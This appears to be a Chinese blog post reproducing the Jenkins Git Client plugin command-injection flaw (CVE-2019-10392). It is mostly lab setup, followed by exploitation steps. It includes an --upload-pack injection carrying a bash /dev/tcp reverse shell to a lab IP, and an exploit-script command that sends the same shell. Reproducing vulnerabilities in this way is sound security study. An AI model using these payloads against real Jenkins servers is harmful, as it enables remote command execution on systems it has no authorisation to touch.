Jenkins Git Client插件远程命令执行漏洞
最近在整理Jenkins相关漏洞,所以来复现下!!
0x01: 漏洞简介:
Git客户端插件接受用户指定的值作为调用的参数,git ls-remote以验证指定URL处是否存在Git存储库。这是以允许具有作业/配置权限的攻击者在Jenkins主服务器上执行任意系统命令作为Jenkins进程正在运行的OS用户的方式实现的。
Git客户端插件现在拒绝看似不是有效URL的存储库URL。此外,对于支持它的Git版本,使用–分隔符将存储库URL参数与选项参数分开,以防止将解释作为选项。
截至本通报发布时,没有针对3.x的预发布版本的用户的更新,例如3.0.0-rc。建议Git客户端插件3.0.0-rc的用户降级到2.8.5(并将Git插件从4.0.0-rc 降级到最新的3.x版本以解决依赖性问题)。
0x02 影响范围
Git client Plugin <= 2.8.4
0x03: 环境搭建:
下载安装可参考我之前得文章:
前提条件:需要安装有java环境!
Linux下安装Java:
(1). 下载linux对应的jdk包:
(2). 解压下载好的jdk包:
tar -zxf jdk-8u201-linux-x64.tar.gz
(3). 修改环境变量文件:/etc/profile 在末尾添加如下内容(根据自己jdk文件位置填写)
(4). 使用source让我们添加的环境变量生效:
source /etc/profile
(5). 执行java -version验证我们的环境变量是否生效:
安装Jenkins
第一种方法
sudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo
sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key
yum install jenkins
第二种方法
直接下载 rpm 安装,jenkins各个版本地址 https://pkg.jenkins.io/
wget https://pkg.jenkins.io/redhat/jenkins-2.156-1.1.noarch.rpm
rpm -ivh jenkins-2.156-1.1.noarch.rpm
这里我就用第一种方法了:
(1). 下载yum源文件
wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo
(2). 导入公钥:
rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key
(3). yum安装jenkins:
yum -y install jenkins
(4). 启动jenkins:
直接启动会报错,我们还需要对配置文件进行下修改:
(5). 修改jenkins启动文件/etc/init.d/jenkins
对candidates对应的值进行修改,改为自己机器的java所在路径:
(6). 还需要修改下: /etc/sysconfig/jenkins 文件,需要设置 JENKINS_USER的值为root,要不然启动会报错 : permission denied
将图中JENKINS_USER对应的值改为root
(7). 修改完配置文件后,我们需要执行以下命令来刷新配置,让systemctl能识别:
systemctl daemon-reload
(8). 这下可以启动Jenkins了:
service jenkins start
(9). 浏览器访问验证:
http://172.26.1.171:8080
(10). 第一次访问会让我们进行相关配置:
(11). 我们到对应的目录下找到该文件,将其内容复制输入即可:
(12). 选择安装方式:
这里我们因为需要安装指定版本的git client插件,所以我们 选择插件来安装
(13). 找到git,取消复选框的勾选,因为默认他会安装最新版,那样我们就无法复现该漏洞了!
(14). 选择完需要安装的组件后,点击安装即可,安装完插件后:
(15). 我们可以新创建一个用户也可以使用默认的amin用户,选择完后进入到实例配置:
(16). 配置完成后即可正常使用jenkins:
(17). 访问搭建好的jenkins:
(18). 选择Manage Jenkins选项 中的Manage Plugins来安装存在漏洞的git client版本
(19). 下载在漏洞影响范围内的git client插件和git插件:
git client插件地址:https://updates.jenkins-ci.org/download/plugins/git-client/2.8.2/git-client.hpi
git插件地址:http://updates.jenkins-ci.org/download/plugins/git/3.12.0/git.hpi
(20). 找到下图位置,点击选择文件 选择刚刚下载的hpi文件 然后点击上传即可:
(21). 安装完成:
(22). 重新启动jenkis使插件生效:
service jenkins restar
(23). 新建一个用户用于测试漏洞:
(24). 为test用户配置访问权限:
(25). 还需要靶机本身安装git
yum -y install git
不安装在复现的时候会报错:
Failed to connect to repository : Error performing command: git ls-remote -h
此报错解决参考: https://www.cnblogs.com/cyleon/p/11159184.html
0x04: 漏洞复现:
提供账号:
用户名:test
密码:123456
(1). 使用拥有创建任务权限得账号登陆:
(2). 创建一个新的任务:
名称随便起一个,然后选择流水线,再点击确定即可创建:
选择流水线选项—–>Pipeline script from SCM—–>Git
然后在Repository URL对应的输入框输入 POC:
(3). 输入公开的poc即可:
可以看到命令成功执行
(4). 直接反弹shell:
--upload-pack="`bash -i >& /dev/tcp/172.26.1.156/6666 0>&1`"
(5). 关于该漏洞的利用脚本:
(6). 利用该脚本反弹shell:
py -3 Jenkins_Git_RCE_CVE-2019-10392.py -u http://172.26.1.171:8080 -U test -P 123456 -i ce -c "bash -i >%26 /dev/tcp/172.26.1.156/6666 0>%261"
利用:
这里注意下使用bash反弹shell的时候需要将命令中的&符号进行url编码才可正常执行。
感谢ftk-sostupid大佬一直耐心解答我对于脚本使用的问题!!!!!!
0x05: 漏洞修复:
升级Git client插件至2.8.4以上版本
0x06: 参考链接:
https://www.cnblogs.com/paperpen/p/11626231.html
- 上一篇: Docker Remote API 未授权访问
- 下一篇: CVE-2019-11043漏洞复现